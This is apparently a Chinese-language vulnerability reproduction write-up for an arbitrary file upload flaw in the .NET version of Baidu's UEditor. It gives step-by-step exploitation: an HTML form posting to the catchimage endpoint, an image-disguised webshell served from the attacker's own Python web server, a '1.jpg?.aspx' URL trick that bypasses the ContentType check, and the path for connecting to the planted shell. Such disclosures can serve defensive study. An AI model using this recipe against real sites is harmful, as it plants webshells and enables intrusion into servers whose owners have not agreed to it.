UEditor .Net版本任意文件上传漏洞

UEditor .Net版本任意文件上传漏洞

一、漏洞介绍
Ueditor是百度开发的一个网站编辑器，目前已经不对其进行后续开发和更新，该漏洞只存在于该编辑器的.net版本。
漏洞的成因是在获取图片资源时仅检查了ContentType，导致可以绕过达到任意文件上传。
Crawler方法对source[]的检查仅仅是一个ContentType

if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}

二、漏洞复现
1、可以利用post方法直接上传文件到目标网站

<form action="http://IP:port/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit"/>
</form>

2、生成图片马
1.jpg
3、开启web服务
python -m SimpleHTTPServer 8888
4、在shelladdr输入地址
http://X.X.X.X:8888/1.jpg?.aspx
5、上传成功

6、小马地址
http://ip:port/ueditor/net/upload/image/20201127/6374211044232448561123135.asp
7、连接小马